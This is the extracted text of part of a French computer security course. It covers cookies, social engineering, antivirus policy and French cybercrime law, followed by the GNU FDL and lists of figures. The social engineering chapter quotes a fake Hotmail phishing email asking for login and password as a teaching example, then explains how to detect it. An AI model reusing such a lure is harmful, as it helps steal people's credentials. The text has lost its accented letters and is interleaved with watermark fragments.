Souvent, les donnes sont codes (cryptes) an : de les rendre difciles manipuler trop simplement, avec le bloc-notes de Windows ou votre traitement de texte par exemple. de les rendre difciles exploiter par un tiers extrieur (un espion). de les compresser pour quelles prennent moins de place. Alors, utiles ou inquitants ? Les avis sont trs partags. Vous pouvez refuser les cookies, automatiquement, ou la demande ( paramtrer dans les fonctions avances de votre navigateur). Mais certains sites vous seront alors inaccessibles. Rien ne soppose non plus la destruction des chiers de cookies, soit laide dun utilitaire spcialis comme Cookie Crusher (qui permet aussi de "trier" les cookies en temps rel), soit " la main". Les cookies ne reprsentent aucun danger pour votre machine et vous pouvez les ignorer. Mais sil vous semble dsagrable davoir accepter ces "espions", vous pouvez aussi bien les liminer sans risque ! Par contre les cookies associs un spyware peut devenir trs dangereux.

40.3 Cookie Brlant

40.4 Se protger

Dsactivez les cookies sur les machines qui accdent des donnes sensibles. A minima, supprimer les.

40.5 Travaux Pratiques

Se connecter au serveur. Utiliser le visualiseur de cookie de Mozilla (Outils : Cookie Manager)

oc um en ts

Certaines personnes malveillantes ont vu dans les cookies un moyen de stocker de linformation condentielle. Ils y inscrivent tout autre chose que lobjet initial du cookie : les donnes que tape linternaute et qui peuvent tre des numros de carte bancaire ou de compte, des informations sanitaires, sociales, la traque des url visites etc ... Les programmes espions (spywares) peuvent tout faire y compris rapatrier pour le compte dun acteur de lespionnage la totalit des contenus de la totalit des cookies trouvs. De plus le cryptage des donnes dun cookie nest pas incassable. Enn, le fait de pouvoir lire les noms des cookies peut permettre des enquteurs informs (des robots informatiques ou des personnes physiques) de savoir quels sites vous visitez.

ou sl

ic

en ce

FD

Chapitre 41

41.1 Dnition

41.2 Exemples

oc um en ts

Tentatives de piratage par ingnierie sociale visant les utilisateurs de Hotmail et de Wanadoo (05/02/02) Depuis quelques jours, des utilisateurs de Hotmail et de Wanadoo sont la cible de messages envoys sous de fausses identits par des personnes malveillantes, an de les pousser dvoiler leurs paramtres de connexion. Le message visant Hotmail est un courrier lectronique au format texte prtextant des problmes de maintenance et demandant de le renvoyer aprs en avoir rempli le questionnaire, comme ci-dessous :

ou sl
164

ic

Lingnierie sociale ("social engineering") consiste pour une personne malveillante se faire passer pour quelquun de conance an de tromper la vigilance de sa victime et de lui soutirer des informations critiques. Une technique dautant plus courante quelle ne ncessite pas de grandes connaissances en informatique et que tout utilisateur est plus ou moins vulnrable.

en ce

FD

Ingnierie sociale

CHAPITRE 41. INGNIERIE SOCIALE


From: "Scurit HotmaiI" <securite_hotmai@hotmaiI.com> Subject: Message important. Cher(e) abonn(e), Suite diffrents problmes de maintenance causs par un groupe de pirates informatiques, plusieurs informations de notre base de donnes ont t effaces; il sagit de celles se trouvant avant la "Question/Rponse" sur les formulaires dinscription. Cest pourquoi nous devons vous demander de remplir le questionnaire suivant et de nous le retourne en cliquant sur "Rpondre" en haut gauche de votre cran, puis sur "Envoyer", sans modifier le sujet du message.

165

Lquipe Hotmail Le message visant Wanadoo est un courrier lectronique au format HTML prtextant une anomalie dans le compte daccs internet et demandant de remplir un formulaire dtaill comme ci-dessous : Dans le cas prsent, lutilisateur peut facilement se rendre compte de la fraude en regardant dans les proprits du message. Dans le cas dHotmail, ladresse de lexpditeur est securite_hotmai@hotmail.com car Hotmail interdit visiblement la reprise de sa marque dans le login de ses botes aux lettres. Dans le cas de Wanadoo, le faux est encore plus grossier car le code source rvle que limage du point dexclamation jaune provient de Caramail, et le clin doeil en bas de message indique sil en tait besoin que si vous envoyez vos paramtres de connexion vous risquez effectivement de revoir trs bientt lapprenti pirate. Parfois le faux est plus difcile tablir, aussi est-il impratif de prendre lhabitude de ne jamais rpondre ce genre de courrier : en cas de doute, validez si ncessaire linformation en joignant vous-mme le service commercial un numro de tlphone ou une adresse email sre. Contactez par contre rapidement les socits concernes pour dclarer cette tentative de piratage et faire en sorte que le compte de la personne malveillante soit ferm. Logins et mots de passe sont les garants de votre scurit. Les dvoiler nimporte qui sans prcaution vous expose au viol de votre vie prive (lecture de votre courrier lectronique, connaissance de votre nom rel si vous utilisiez un pseudo, etc.), des pertes nancires (puisement ou dpassement ici de votre forfait internet), voire lusurpation de votre identit et votre mise en cause dans des affaires de piratage, si votre compte est ensuite utilis pour commettre dautres actions illgales Sans informatique ! Par tlphone, les ingnieurs sociaux sont capables de convaincre leurs victimes de leur donner des informations, en se faisant passer pour quelquun dautre.

oc um en ts

ou sl

Merci de nous rpondre dans les plus brefs dlais. Cordialement,

ic

en ce

Nom: Prnom: Login: Mot de passe:

FD

CHAPITRE 41. INGNIERIE SOCIALE

166

oc um en ts

F IG . 41.1 Formulaire de demande de login / mot de passe !

ou sl

ic

en ce

FD

CHAPITRE 41. INGNIERIE SOCIALE

167

Prtendre tre un soutien spcialement assign rsoudre un problme avec le rseau est une ruse courante (la plupart des utilisateurs sont toujours motivs daider quelquun qui se dit vouloir les aider). Se faire passer pour un employ dune socit de tlmarketing est une autre technique (les utilisateurs sont souvent contents de donner des dtails sur leur entreprise et leur rseau sils pensent que leurs rponses sont pour un sondage anonyme).

41.3 Banque et condentialit


Les banques permettant de plus en plus la consultation des comptes en ligne se voient obliges dinviter leurs utilisateurs faire de plus en plus attention : CyberCaf : attention au stockage des donnes et des mots de passe attention au logiciel capture des chanes saisies Mail : la banque ne vous demandera jamais votre login/mot de passe Tl : la banque ne vous demandera jamais votre login/mot de passe

41.4 Conclusion

oc um en ts

ou sl

ic

Encore une fois la vigilance est de mise. Ne changez pas le mot de passe de quelquun parcequon vous le demande par tlphone !

en ce

FD

Chapitre 42

Outre le fait de garder votre antivirus jour en permanence, il existe dautres moyens pour rduire les risques dinfection virale dans votre entreprise. Voici une ide des recommandations que vous pourriez prendre en considration pour pratiquer au sein de votre entreprise linformatique en toute scurit.

Certains virus essaient de dguiser leur vritable nature dexcutable en utilisant des "doubles extensions". Des chiers tels que LOVE-LETTER-FOR-YOU.TXT.VBS ou ANNAKOURNIKOVA.JPG.VBS peuvent apparatre premire vue comme des chiers image ou texte (en ASCII) inoffensifs. Sophos recommande dempcher lentre dans lentreprise tout chier possdant une "double extension". Les fausses alertes de virus (canulars) et les chanes de courrier peuvent perturber la marche de lentreprise autant que les virus eux-mmes. En dehors du fait de rpandre de fausses informations et de faire perdre du temps et des ressources au personnel, elles peuvent devenir trs embarrassantes pour votre entreprise si un employ les fait suivre vos contacts ou clients. Il est pour cela prfrable de mettre en place une politique stricte sur les canulars, comme celle qui suit : "La moindre alerte virale doit tre rexpdie exclusivement <nom du service ou de la personne responsable des questions dantivirus>. Que lalerte provienne dun diteur dantivirus, ou quelle ait t 168

Bloquez tous les types de chiers non dsirs la passerelle de messagerie. Les virus utilisent souvent des types de chiers tels que VBS, SHS, EXE, SCR, CHM et BAT pour se propager. Il est peu probable que votre entreprise ait besoin de recevoir de lextrieur des chiers de ces types. Si cest le cas, Sophos recommande de tous les bloquer la passerelle de messagerie, et ce, quils soient ou non infects par un virus.

oc um en ts

Instaurez une politique stricte dans votre entreprise selon laquelle le tlchargement de chiers excutables et documents depuis le net ne sera pas accept et que tout programme sexcutant dans votre entreprise doit au pralable avoir t certi sans virus et avalis. Il est prfrable de ne pas excuter les chiers excutables, documents, feuilles de calcul, etc. non sollicits. Si vous ne savez pas si un lment est exempt de virus, partez du principe quil ne lest pas. Dans lidal, les employs devraient tre autoriss navoir que ce dont ils ont vraiment besoin. Cependant, vous pourriez envisager de leur fournir une slection de jeux/crans de veille utiliser dont linnocuit a t atteste.

ou sl

42.1 Recommandations aux administrateurs rseau

ic

en ce

FD

Directives pour une informatique scurise[9]

CHAPITRE 42. DIRECTIVES POUR UNE INFORMATIQUE SCURISE[?]

169

conrme par une grande entreprise informatique ou votre meilleur ami ne change rien. Toutes les alertes virales devraient tre envoyes exclusivement <nom du rfrent> et <nom du rfrent> seul. Cest le travail de <nom du rfrent> dexpdier au reste du personnel toutes les alertes virales. Toute alerte provenant dune autre source doit simplement tre ignore." Si vous navez pas besoin de l"Excution de scripts", retirez-la. Changez la squence de dmarrage du BIOS de votre ordinateur pour, au cas o vous laisseriez une disquette dans votre machine, dmarrer par dfaut sur le lecteur C :, au lieu de A :. Ceci devrait empcher tous les virus typiques des secteurs de dmarrage (comme Form, CMOS4, AntiCMOS, Monkey, etc.) de vous infecter. Si vous avez par la suite besoin de dmarrer sur une disquette, vous pourrez rapidement rinitialiser les paramtres correspondants dans le BIOS.

Abonnez-vous un service dalerte par e-mail qui vous avertira des nouveaux virus apparus dans la nature. Gardez un oeil sur les bulletins de scurit de Microsoft. Ils peuvent vous avertir de nouvelles failles de scurit et de problmes rencontrs avec les logiciels Microsoft. Rdigez un ensemble de directives indiquant les politiques mettre en oeuvre pour pratiquer linformatique en toute scurit et distribuez ce document lensemble des employs. Assurez-vous que tous les employs lauront lu et compris et que, sil leur vient des questions, ils sauront qui sadresser. Vous pourriez souhaiter baser vos directives sur les recommandations aux utilisateurs prsentes ci-dessous.

Utilisez le Rich Text Format plutt que les chiers .DOC qui peuvent abriter des virus. Vous pouvez enregistrer automatiquement tous vos documents Word au format RTF en slectionnant Outils | Options | Enregistrement et en choisissant le Rich Text Format dans le menu droulant comme format denregistrement par dfaut. Nexcutez, ne tlchargez, ni nouvrez aucun excutable, document ou feuille de calcul non sollicit. Tout lment sexcutant sur votre PC doit au pralable avoir t certi sans virus et avalis. Tous les e-mails non attendus doivent tre traits comme suspects, mme sils proviennent dune personne que vous connaissez. Il est prudent de tlphoner lexpditeur pour savoir si cest bien lui qui a envoy le-mail en question. Nouvrez pas de chiers ayant une double extension (par ex : jesuisunvirus.txt.vbs). Dans des circonstances normales, vous navez nul besoin de recevoir ou dutiliser ces types de chier. Ne tlchargez pas dexcutables ou de documents depuis internet. Ils sont souvent utiliss pour la propagation de virus informatiques. Bien que les chiers JPG, GIF et MP3 ne puissent pas tre infects par un virus, certains virus peuvent se faire passer pour ces types de chiers. Les chiers blagues, images, graphiques, crans de veille et vido devraient tre traits avec la mme suspicion que les autres types de chiers.

oc um en ts

42.2 Recommandations aux utilisateurs

ou sl

ic

en ce

FD

Sauvegardez rgulirement lensemble de vos donnes, et vriez que les sauvegardes ont russi.

CHAPITRE 42. DIRECTIVES POUR UNE INFORMATIQUE SCURISE[?]

170

En cas de doute, demandez toujours conseil votre service informatique, nouvrez pas le chier ou lemail. Si vous pensez avoir t infect par un virus, informez-en immdiatement votre service informatique. Ne paniquez pas et ninterrompez pas les autres utilisateurs. Toutes les alertes virales ou canulars, quels quils soient, doivent tre envoys votre service informatique qui a la capacit de conrmer ou inrmer quil sagit dun vrai virus. Ne faites suivre ces alertes aucune autre personne ; moins que vous nayez souscrit un service dalertes virales ofcielles, il y a peu de chances que lalerte soit authentique. Si vous devez travailler la maison, veillez suivre les mmes procdures que celles de votre lieu de travail. Des virus peuvent facilement accompagner le travail effectu sur un ordinateur de maison lorsquil rentre dans lentreprise. Les logiciels antivirus empchent la majorit des virus de pntrer votre entreprise mais ils ne sont pas infaillibles. Il est de votre responsabilit de veiller ne pas vous faire infecter par un virus informatique.

oc um en ts

ou sl

ic

en ce

FD

Chapitre 43

oc um en ts

ou sl
171

Nous venons de faire un tour dhorizon des principales attaques dont VOUS pouvez tre victimes. Comme vous pouvez le constater linformatique nest pas le seul vecteur dapproche des pirates et les politiques adopter pour se protger sont draconniennes. Pour rsumer, en tant quemploy dune entreprise, on peut simplement dire que la vigilance doit tre de mise chaque instant et lutilisation dInternet limit. Le stockage des mots de passe pour laccs au serveur nest bien sr pas le bienvenu. An de protger les serveurs des attaques virales, ceux-ci sont souvent installs dans une DMZ (DeMilitarizedZone).

ic

en ce

FD

Conclusion

oc um en ts

ou sl
172

ic

Conclusion

en ce

Huitime partie

FD

Chapitre 44

Avant de scanner un port tout va, il est bon de savoir ce quil peut en coter : Article 323-1 CP Infraction * Le fait daccder ou de se maintenir frauduleusement, dans tout ou partie dun S.T.A.D. * Sil en est rsult la suppression ou la modication de donnes, soit une altration du fonctionnement de ce systme * Le fait dentraver ou de fausser le fonctionnement dun S.T.A.D. * Le fait dintroduire frauduleusement des donnes dans un S.T.A.D. ou de supprimer ou de modier les donnes quil contient * La participation un groupement form ou une entente tablie en vue de la prparation, caractrise par un ou plusieurs faits matriels, dune ou plusieurs des infractions ci dessus est rprime comme linfraction elle mme ou la plus grave des infractions TAB . 44.1 Rpression contre la cybercriminalit STAD : systme de traitement automatis de donnes. Rpression 1an / 100.000F 2ans / 200.000F 3ans / 300.000F 3ans / 300.000F 3ans / 300.000F

323-2 CP 323-3 CP 323-4 CP

oc um en ts

Pour les autres rgions, consultez le SRPJ local (Service Rgional de Police Judiciaire). Ce peut tre, selon que vous tes en ville ou village, le commissariat de police ou la gendarmerie. Demander parler un ESCI (Enquteur Spcialis sur la Criminalit Informatique) qui saura enregistrer votre plainte.

ou sl
173

BEFTI 163 avenue dItalie - 75 013 Paris 01.40.79.67.50

ic

en ce

Nous avons vu les moyens que possdaient un informaticien de pirater ou de se dfendre. Voici pour conclure un autre moyen : la Justice. Portez plainte en cas dattaque ou despionnage Si lordinateur attaqu (le votre ou celui qui hberge vos donnes) est physiquement install dans Paris ou petite couronne, cest la B.E.F.T.I (Brigade dEnqutes sur les Fraudes aux Technologies de lInformation) qui est le principal interlocuteur. Ce sont des enquteurs spcialiss dans les crimes informatiques sous toutes leurs formes.

FD

Conclusion

oc um en ts

ou sl
174

ic

Annexes

en ce

Neuvime partie

FD

Annexe A

59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom : to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modications made by others. This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software. We have designed this License in order to use it for manuals for free software, because free software needs free documentation : a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals ; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a worldwide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law. A "Modied Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modications and/or translated into another language. A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Documents overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, 175

oc um en ts

1. APPLICABILITY AND DEFINITIONS

ou sl
Preamble

ic

en ce

Version 1.2, November 2002 Copyright c 2000,2001,2002 Free Software Foundation, Inc.

FD

GNU Free Documentation License

ANNEXE A. GNU FREE DOCUMENTATION LICENSE

176

if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them. The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not t the above denition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none. The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words. A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specication is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent le format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modication by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque". Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modication. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only. The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the works title, preceding the beginning of the body of the text. A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specic section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this denition. The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties : any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3. You may also lend copies, under the same conditions stated above, and you may publicly display copies.

oc um en ts

2. VERBATIM COPYING

3. COPYING IN QUANTITY

ou sl

ic

en ce

FD

ANNEXE A. GNU FREE DOCUMENTATION LICENSE

177

4. MODIFICATIONS
You may copy and distribute a Modied Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modied Version under precisely this License, with the Modied Version lling the role of the Document, thus licensing distribution and modication of the Modied Version to whoever possesses a copy of it. In addition, you must do these things in the Modied Version : A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission. B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modications in the Modied Version, together with at least ve of the principal authors of the Document (all of its principal authors, if it has fewer than ve), unless they release you from this requirement. C. State on the Title page the name of the publisher of the Modied Version, as the publisher. E. Add an appropriate copyright notice for your modications adjacent to the other copyright notices. F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modied Version under the terms of this License, in the form shown in the Addendum below. G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Documents license notice. H. Include an unaltered copy of this License. I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modied Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modied Version as stated in the previous sentence. D. Preserve all the copyright notices of the Document.

oc um en ts

ou sl

ic

en ce

If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Documents license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts : Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects. If the required texts for either cover are too voluminous to t legibly, you should put the rst ones listed (as many as t reasonably) on the actual cover, and continue the rest onto adjacent pages. If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public. It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

FD

ANNEXE A. GNU FREE DOCUMENTATION LICENSE

178

J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission. K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein. L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles. N. Do not retitle any existing section to be Entitled "Endorsements" or to conict in title with any Invariant Section. O. Preserve any Warranty Disclaimers. If the Modied Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modied Versions license notice. These titles must be distinct from any other section titles. You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modied Version by various partiesfor example, statements of peer review or that the text has been approved by an organization as the authoritative denition of a standard. You may add a passage of up to ve words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modied Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another ; but you may replace the old one, on explicit permission from the previous publisher that added the old one. The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modied Version.

You may combine the Document with other documents released under this License, under the terms dened in section 4 above for modied versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodied, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers. The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work. In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History" ; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included

oc um en ts

5. COMBINING DOCUMENTS

6. COLLECTIONS OF DOCUMENTS

ou sl

ic

en ce

FD

M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modied Version.

ANNEXE A. GNU FREE DOCUMENTATION LICENSE

179

in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects. You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

7. AGGREGATION WITH INDEPENDENT WORKS


A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilations users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Documents Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.

8. TRANSLATION

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http ://www.gnu.org/copyleft/. Each version of the License is given a distinguishing version number. If the Document species that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specied version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

ADDENDUM : How to use this License for your documents

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

oc um en ts

Translation is considered a kind of modication, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail. If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.

9. TERMINATION

10. FUTURE REVISIONS OF THIS LICENSE

ou sl

ic

en ce

FD

ANNEXE A. GNU FREE DOCUMENTATION LICENSE

180

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page : Copyright c YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation ; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License". If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this : with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation. If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

oc um en ts

ou sl

ic

en ce

FD

Listings
24.1 24.2 24.3 24.4 24.5 24.6 25.1 33.1 36.1 39.1 39.2 39.3 39.4 39.5 Dpassement de la pile . . . . . . . . . . . Utilisation de la pile . . . . . . . . . . . . . Exemple de vulnrabilit . . . . . . . . . . shellcode.c . . . . . . . . . . . . . . . . . root shell assembleur . . . . . . . . . . . . testsc2.c . . . . . . . . . . . . . . . . . . . crack.pl . . . . . . . . . . . . . . . . . . . Exemple de lutilisation de la fonction crypt Code source de AnnaKournikova . . . . . . cgi.html . . . . . . . . . . . . . . . . . . . vbscript.vb . . . . . . . . . . . . . . . . . vbscript2.vb . . . . . . . . . . . . . . . . . javascript . . . . . . . . . . . . . . . . . . javascript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93 94 94 95 97 98 104 131 140 154 155 155 156 158

oc um en ts

ou sl
181

ic

en ce

FD

Liste des tableaux


5.1 5.2 5.3 5.4 5.5 5.6 5.7 6.1 6.2 6.3 10.1 10.2 10.3 10.4 10.5 En-tte IP . . . . . . . . . . . . . En-tte TCP . . . . . . . . . . . . Principe des numros de squence Connexion de base . . . . . . . . En-tte UDP . . . . . . . . . . . . En-tte ICMP . . . . . . . . . . . Quelques messages ICMP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

15.1 Exemple de session Telnet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15.2 Exemple de session SSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22.1 22.2 22.3 22.4 Vanilla TCP connect () TCP SYN Scan . . . . TCP FIN Scanning . . TCP SYN Scan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

oc um en ts

RAID 0 RAID 1 RAID 3 RAID 4 RAID 5

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

ou sl

Requte au serveur . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Rponse du serveur . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Exemple de session HTTP avec telnet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . .

. . . . . . .

. . . . . . .

. . . . . . .

. . . . . . .

17 18 19 20 22 22 23 25 25 28 37 37 38 38 39 56 57 83 83 83 84

ic
. . . . . . . . . . . . . . .

FD
. . . . . . . . . . . . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

